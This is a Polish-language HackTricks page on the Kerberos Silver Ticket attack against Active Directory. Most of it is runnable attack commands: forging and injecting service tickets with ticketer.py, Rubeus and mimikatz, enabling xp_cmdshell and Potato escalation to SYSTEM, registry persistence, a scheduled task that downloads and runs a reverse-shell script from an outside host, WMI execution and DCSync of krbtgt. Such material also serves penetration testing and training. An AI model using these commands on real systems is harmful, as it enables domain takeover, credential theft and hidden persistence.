Silver Ticket
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Silver ticket
Atak Silver Ticket polega na wykorzystaniu service tickets w środowiskach Active Directory (AD). Ta metoda opiera się na acquiring the NTLM hash of a service account, takiego jak computer account, aby sfałszować Ticket Granting Service (TGS) ticket. Dzięki sfałszowanemu ticketowi atakujący może uzyskać dostęp do konkretnych usług w sieci, impersonating any user, zwykle dążąc do uprawnień administratorskich. Należy zaznaczyć, że użycie AES keys do fałszowania ticketów jest bezpieczniejsze i trudniejsze do wykrycia.
warning
Silver Tickets są mniej wykrywalne niż Golden Tickets, ponieważ wymagają tylko hash of the service account, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, którą atakują. Ponadto wystarczy skraść hasło użytkownika. Jeśli przejmiesz account's password with a SPN, możesz użyć tego hasła do stworzenia Silver Ticket, impersonating any user dla tej usługi.
Do tworzenia ticketów stosuje się różne narzędzia w zależności od systemu operacyjnego:
Na Linuxie
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
Na Windows
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
Usługa CIFS jest wymieniana jako częsty cel umożliwiający dostęp do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, mogą być także wykorzystane do zadań i zapytań WMI.
Przykład: MSSQL service (MSSQLSvc) + Potato to SYSTEM
Jeśli posiadasz NTLM hash (lub AES key) konta usługi SQL (np. sqlsvc), możesz sfałszować TGS dla MSSQL SPN i podszyć się pod dowolnego użytkownika wobec usługi SQL. Stamtąd włącz xp_cmdshell, aby wykonywać polecenia jako konto usługi SQL. Jeśli ten token ma SeImpersonatePrivilege, połącz to z Potato, aby eskalować do SYSTEM.
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
- Jeśli uzyskany kontekst posiada SeImpersonatePrivilege (często prawda dla kont usługowych), użyj wariantu Potato, aby uzyskać SYSTEM:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
Więcej szczegółów dotyczących nadużywania MSSQL i włączania xp_cmdshell:
Przegląd technik Potato:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Dostępne usługi
Typ usługi | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP W zależności od systemu operacyjnego także: WSMAN RPCSS |
WinRM | HOST HTTP W niektórych przypadkach możesz po prostu poprosić o: WINRM |
Zaplanowane zadania | HOST |
Windows File Share, also psexec | CIFS |
Operacje LDAP, w tym DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
Golden Tickets | krbtgt |
Używając Rubeus możesz zażądać wszystkich tych ticketów używając parametru:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Identyfikatory zdarzeń Silver tickets
- 4624: Logowanie konta
- 4634: Wylogowanie konta
- 4672: Logowanie administratora
Utrzymywanie dostępu
Aby zapobiec automatycznej rotacji hasła maszyn co 30 dni ustaw HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1
lub możesz ustawić HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge
na wartość większą niż 30 dni, aby wskazać okres rotacji, po którym hasło maszyny powinno być zmienione.
Nadużywanie Service tickets
W poniższych przykładach załóżmy, że ticket został pozyskany podszywając się pod konto administratora.
CIFS
Dzięki temu ticketowi będziesz mógł uzyskać dostęp do folderów C$
i ADMIN$
przez SMB (jeśli są udostępnione) i skopiować pliki na część zdalnego systemu plików, robiąc coś takiego:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Będziesz także w stanie uzyskać shell na hoście lub wykonywać dowolne polecenia używając psexec:
HOST
Dzięki temu uprawnieniu możesz tworzyć zadania zaplanowane na komputerach zdalnych i wykonywać dowolne polecenia:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
Dzięki tym tickets możesz wykonywać WMI w systemie ofiary:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Znajdź więcej informacji o wmiexec na następującej stronie:
HOST + WSMAN (WINRM)
Mając dostęp do winrm na komputerze, możesz połączyć się z nim i nawet uzyskać PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Sprawdź następującą stronę, aby poznać więcej sposobów łączenia się z zdalnym hostem przy użyciu winrm:
warning
Należy pamiętać, że winrm musi być aktywny i nasłuchiwać na zdalnym komputerze, aby uzyskać do niego dostęp.
LDAP
Dzięki temu uprawnieniu możesz zrzucić bazę danych DC używając DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Dowiedz się więcej o DCSync na następującej stronie:
Źródła
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027
- HTB Sendai – 0xdf: Silver Ticket + Potato path
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.